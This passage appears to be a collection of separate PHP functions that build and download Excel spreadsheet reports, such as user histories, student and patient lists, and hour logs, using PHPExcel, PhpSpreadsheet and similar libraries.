nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "abstract function getheadings();", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "abstract protected function excel ();", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "function export_xls() {\n $engagementconfs = Configure::read('engagementConf');\n $this->set('engagementconfs',$engagementconfs);\n $data = $this->Session->read('xls_export');\n //$this->Session->delete('xls_export'); \n $this->set('rows',$data);\n $this->render('export_xls','export_xls');\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal 